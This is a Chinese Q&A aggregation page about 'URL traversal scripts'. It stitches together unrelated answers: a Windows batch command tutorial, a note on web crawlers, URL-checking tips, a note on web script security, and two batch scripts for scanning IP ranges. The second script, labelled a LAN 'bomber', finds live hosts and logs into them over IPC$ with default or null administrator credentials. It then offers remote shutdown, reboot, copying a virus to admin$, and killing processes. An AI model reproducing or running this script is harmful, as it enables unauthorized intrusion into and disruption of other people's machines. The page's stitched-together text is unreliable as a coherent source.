网址遍历脚本
‘壹’ Windows cmd(bat) 脚本简介
命令提示符是在 操作系统 中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。在 windows 环境下,命令行程序为 cmd.exe,微软 Windows 系统基于 Windows 上的命令解释程序,类似于微软的 DOS 操作系统 。
四种文件类别
命令不区分大小写
在 Windows 系统中,所有的文件夹或者文件名、环境变量、命令都是 不区分大小写 。据说但是是为了兼容 DOS,才没有区分大小写,后续就一直不区分了。
查看 windows 版本
winver
打开注册表
regedit
打开计算器
calc
打开绘图
mspaint
打开记事本
notepad
打开写字板
wordpad
打开控制面板
control
打开远程桌面 (Microsoft terminal services client)
mstsc
打开或关闭 Windows 功能
optionalfeatures
服务管理
services.msc
系统配置
msconfig.exe
防火墙
firewall.cpl
卸载或更改程序
appwiz.cpl
打开计算机管理
compmgmt.msc
打开电源选项
powercfg.cpl
打开 internet 选项
inetcpl.cpl
系统属性
sysdm.cpl
显示设置
desk.cpl
证书管理
certmgr.msc
添加硬件
hdwwiz.exe
关机
shutdown
dir
cd
tree
显示目录结构
tree d: #显示D盘的文件目录结构
日期和时间
文件/文件夹的重命名
复制文件
删除文件是不经过回收站
删除空文件夹
rmdir(rd):删除非空文件夹且需要进行确认
删除非空文件夹且不需要进行确认
重命名文件或者文件夹。(尽管引号不是强制性的,但如果当前名称或新名称中都有空格)
清屏
cls
显示文件内容
type
网址/域名 :检查当前网址是否连通 (注:会返回当前网址对应的IP地址和网络状态)
ping
方法一:使用 ↑↓ 箭头上下翻看执行过的命令,此方式适宜执行命令较少的情况;
方法二:使用快捷键:
F7: 快捷键查看所有执行过的命令
F3:调出上一条执行过的命令,调出后直接回车即可执行;
F8:搜索命令历史记录,和↑向上箭头类似。
F9:按编号选择命令,来调出执行过的命令:
方法三:doskey /HISTORY 显示保存在内存中的所有命令
可搭配 more、findstr 命令进行使用:
doskey /HISTORY | more
doskey /HISTORY | findstr dir
doskey /HISTORY > d:123.txt 重定向到文件
后缀一般存储为 bat, cmd 格式的文件。
创建文件:建议右键-新建文本文档。建议选择 gbk 中文编码,换行选择 。示例中我将文件存储为 hello.bat。
使用方法:双击使用或在命令提示符中键入文件名。
设置 cmd 窗口的标题
输出到屏幕
将参数1,参数2 输入到命令行
hello.bat aaa bbb
说明:
%0 批处理文件本身
%1 第一个参数
...
%9 第九个参数
pause 就是暂停命令
pause > null 的作用是同样的,区别是不显示“请按任意键继续. . .”这些字,nul 相当于空设备。
定义变量,注意等号左右不能加空格。
在批处理中 > 和 < 为重定向符号,这就意味着我们不能用 > 来表示大于,< 表示小于,也就意味着不能用 >=、<=、<> 来表示大于等于、小于等于、不等于,还好,在批处理中用了其他的操作符代替它们,这在"if /?"中有说明:
引用内容 引用内容
1. &
顺序执行多条命令,而不管命令是否执行成功
2. &&
顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
如果找到了"ok"字样,就显示"成功",找不到就不显示
3. ||
顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
如果找不到"ok"字样,就显示"不成功",找到了就不显示
5. 输出重定向命令
> 清除文件中原有的内容后再写入
>> 追加内容到文件末尾,而不会清除原有的内容
6. 管道操作符 |
clip 将内容复制到剪切板
dir 组合 clip 的用法示例
start 可以打开文件夹,文件,网址等
if 关键字和语句
1、if [NOT]"参数" == "字符串"
2、if [NOT] exist 文件名 待执行的命令
3、if [NOT] errorlevel 数字 待执行的命令
如果返回码大于或者等于(或者小于,使用NOT)指定的数字,则条件成立,运行命令,否则运行下一句。DOS 程序运行时都会返回一个数字给 DOS,称为错误码 errorlevel 或称返回码。默认值为 0,一般命令执行出错会设 errorlevel 为1。数字取值范围 0~255。判断时值的排列顺序应该由大到小,否则会出现非期望的结果。
示例1:if 搭配 exist 进行使用,用于判断某文件是否存在
原来的环境变量后加上英文状态下的分号和路径
set PATH=%PATH%;C:UserszhangsanDocumentswinrar-x64-580
setx PATH "%PATH%;D:Program Files"
该语句表示添加到用户环境变量, 设置后对当前窗口不生效, 后续窗口都生效了.
(建议执行一次, 防止多试重复添加, 该威力巨大.
目前不知道怎么删除单项环境变量, 只能采取重新赋值的方式)
键入 "SETX /?" 了解用法信息。
切记:每个指令之间必须以空格隔开,in 与 ( 之间有空格,do 与 ( 间也有空格,否则命令会无法成功执行
[ ]:表示此项指令为可选
[参数]:参数取值一共有四种: /d, /r, /l, /f,加上无参数,所以一共五种场景
无参:遍历当前路径的文件夹下的文件,但也可在(匹配符)中指定路径
批处理脚本遍历指定文件夹下的文件_RuncX的技术博客_51CTO博客
https://blog.51cto.com/runcx/2465152
C:Usersferder>echo %date%
2022/07/02 周六
C:Usersferder>echo %time%
20:19:37.09
因此
提取年 %date:~0,4% 表示从左向右指针向右偏0位,然后从指针偏移到的位置开始提取4位字符,结果是2014
提取月 %date:~5,2%
提取日 %date:~8,2%
同理提取时间的时分秒为 %time:~0,2%%time:~3,2%%time:~6,2%
实战操作:
md %date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%
则是再当前目录下创建一个空的文件夹。
DOS 批处理中的字符串处理详解(字符串截取)
https://blog.csdn.net/xiaoding133/article/details/39253083
‘贰’ python网络爬虫可以干啥
Python爬虫开发工程师,从网站某一个页面(通常是首页)开始,读取网页的内容,找到在网页中的其它链接地址,然后通过这些链接地址寻找下一个网页,这样一直循环下去,直到把这个网站所有的网页都抓取完为止。如果把整个互联网当成一个网站,那么网络蜘蛛就可以用这个原理把互联网上所有的网页都抓取下来。
网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动的抓取万维网信息的程序或者脚本。另外一些不常使用的名字还有蚂蚁,自动索引,模拟程序或者蠕虫。爬虫就是自动遍历一个网站的网页,并把内容都下载下来
‘叁’ 求遍历网段ip的shell脚本
是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。
shell不会玩,Windows下的bat还会点...
还有一点要在Windows中调用linux中的shell脚本啊?
应该不可能...或者很难!
在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!
第一段:
@echooff
title扫描在线IP
::MODEcon:COLS=60LINES=18
color0a
::装饰。
:kaishi
cls
for/l%%iin(1,1,4)doecho.
set/pqishi=起始IP:
set/pjieshu=终止IP:
IFERRORLEVEL1echo错误的IP地址格式!&&pause&&gotokaishi
echo.
::从键盘获得两个变量的值。
for/f"tokens=1-4delims=."%%ain("%qishi%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv1=%%a
setv2=%%b
setv3=%%c
setv4=%%d
)
::分离起始IP的四个段并赋值,判断IP是否正确。
for/f"tokens=1-4delims=."%%ain("%jieshu%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv5=%%a
setv6=%%b
setv7=%%c
setv8=%%d
)
::分离终止IP的四个段并赋值,判断IP是否正确。
IF%V5%LSS%V1%echo错误:终止IP不能小于起始IP。&pause&gotokaishi
::判断终止IP与起始IP的正确性。
IF%V4%LEQ%V8%setzeng_1=1
IF%V4%GEQ%V8%setzeng_1=-1
IF%v3%LEQ%v7%setzeng_2=1
IF%V3%GEQ%V7%setzeng_2=-1
IF%v2%LEQ%v6%setzeng_3=1
IF%v2%GEQ%v6%setzeng_3=-1
for/L%%din(%v1%,1,%v5%)do(
for/L%%cin(%v2%,%zeng_3%,%v6%)do(
for/L%%bin(%v3%,%zeng_2%,%v7%)do(
for/L%%ain(%v4%,%zeng_1%,%v8%)do(
ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR
echo%%d.%%c.%%b.%%a
)
)
)
)
echo扫描完毕!
pause&gotokaishi
:error_2
echo错误的IP地址!
pause
gotokaishi
第二段(未编写测试完):
@echooff
titleWin2k局域网轰炸器未完待续~す珹す~
color0a
:start
echo-------------------------------------------------------------------------------
echo收集信息中...&echo.
for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i
for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k
echo你的IP地址是:!ip!
echo你所在的网段是:!wd!
echo.
echo---请选择扫描在线主机的扫描方式---
echo1.ping2.netview3.exit注:直接按回车键使用默认方式!【ping测试】
set/pfs=请输入:
if"%fs%"==""gotoping
if"%fs%"=="1"gotoping
if"%fs%"=="2"gotonetview
if"%fs%"=="3"exit
cls&gotostart
:ping
echo.
echo输入需要扫描的IP范围(不需输网段)1至255之内结尾数不能小于起始数!
set/pqs=起始数:
set/pjs=结束数:
if!qs!gtr!js!echo起始数不能大于结束数!&&ping127.1/n2>nul2>nul&&gotoping
echo正在扫描!wd!.!qs!至!wd!.!js!范围内的主机在线情况...
echo-------------------------------------------------------------------------------
for/l%%iin(!qs!,1,!js!)do(
ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在线!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i离线!
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:netview
echo.
echo此局域网内在线主机:
echo-------------------------------------------------------------------------------
FOR/F"eol=-delims=\"%%cin('netview')do(
FOR/F"eol=服"%%iin('echo%%c')do(
FOR/F"eol=命"%%iin('echo%%c')do(
echo%%i&&echo%%i>>zx.txt
)
)
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:ipc$scan
echo.
echo即将开始ipc$扫描...
echo.
ifnotexistzx.txtechosorry!此局域网中无在线主机,无法进行ipc$扫描!正在返回主菜单...&&ping127.1/n5>nul2>nul&&cls&&gotostart
echoipc$扫描时使用何用户?注:直接按回车键使用默认用户!【administrator】
echo要用空用户(空链接)请输入【null】
set/puser=请输入:
if"!user!"==""setuser=administrator
if"!user!"=="null"setuser=
echoipc$扫描时使用何密码?注:直接按回车键使用默认密码!【空】
set/ppassword=请输入:
if"!password!"==""setpassword=
echo.
echo你选择的用户为:!user!
echo你选择的密码为:!password!
ping127.1/n2>nul2>nul
echo.
echo正在扫描能ipc$连接的机子...
setipc$=0
for/f%%iin('typezx.txt')do(
echo-------------------------------------------------------------------------------
netuse\%%iipc$"!password!"/user:"!user!">nul&&(
set/aipc$=!ipc$!+1
echo连接%%i成功!
echo%%i>>ipc.txt
netuse\%%i/del>nul2>nul
)||(
echo连接%%i失败!↑↑↑以上是错误提示!↑↑↑
)
)
echo--------------------------------------------------------------------------------
echo按任意键进入下一步!&pause>nul
:kill
cls
for/l%%iin(1,1,9)doecho.
echo扫描到!ipc$!台机器能ipc$连接成功!
for/l%%iin(1,1,3)doecho.
echo请问美丽的大姐您要怎么捉弄他们?
echo.
echo1:关了他们2:重启他们3:开启服务
echo4:传送病毒5:弹出消息6:关闭进程
echo.
set/pshr=请选择:
if"!shr!"=="1"gotogj
if"!shr!"=="2"gotocq
if"!shr!"=="3"gotofw
if"!shr!"=="4"gotobd
if"!shr!"=="5"gotoxx
if"!shr!"=="6"gotojc
gotokill
:gj
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-s-t0
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:cq
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-r-t0
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:fw
set/pfwm=请输入需要开启的服务名:
::还需检测路劲
for/f%%iin('typeipc.txt')do(
netstart\%%i!fwm!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:bd
set/pbdm=请输入要传送的病毒的路径:
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
::还需开启对方计划任务服务运行病毒
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:xx
set/pxx=请输入要弹出的消息:
for/f%%iin('typeipc.txt')do(
echo正在弹消息中...
sc\%%iconfigmessengerstart=auto>nul2>nul
sc\%%istartmessenger>nul2>nul
netsend%%i!xx!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:jc
set/pjc=请输入需要关闭的进程名:
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
taskkill/s\%%i/f/im!jc!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart1
pause

‘肆’ 怎么在电脑上实现自动搜索网页功能。比如我要搜索100.com到999.com需要什么程序脚本来实现
首先你要用MutouDic工具生成所有的网址,然后将这些网址添加到软件网页自动刷新监控工具(PageRefresh)里边,设置源码监控,监控404代码就可以了,只要包含404代码的就是打不开的网站,反之就是可以打开的网站。
‘伍’ 在网页中,怎么用脚本
脚本通常可以由应用程序临时调用并执行。各类脚本被广泛地应用于网页设计中,因为脚本不仅可以减小网页的规模和提高网页浏览速度,而且可以丰富网页的表现,如动画、声音等。
当点击网页上的Email地址时能自动调用Outlook Express或Foxmail这类邮箱软件,就是通过脚本功能来实现的。也正因为脚本的这些特点,往往被一些别有用心的人所利用。
例如在脚本中加入一些破坏计算机系统的命令,这样当用户浏览网页时,一旦调用这类脚本,便会使用户的系统受到攻击。所以用户应根据对所访问网页的信任程度选择安全等级,特别是对于那些本身内容就非法的网页,更不要轻易允许使用脚本。
通过“安全设置”对话框,选择“脚本”选项下的各种设置就可以轻松实现对脚本的禁用和启用。

(5)网址遍历脚本扩展阅读
网页中的嵌入式脚本语言。熟知的HTML(Hyper Text Mark-up Language)即超文本标记语言,就是一种脚本语言,它的解释器就是浏览器。
JavaScript直到现在仍然是网页浏览器内的主要编程语言,它的ECMAScript标准化保证了它成为流行的通用嵌入式脚本语言。
另外,随着动态网页技术发展,ASP、JSP、PHP等嵌入网页的脚本语言正被广泛使用,不过这些脚本要通过Web Server解释,而Html则被浏览器执行。
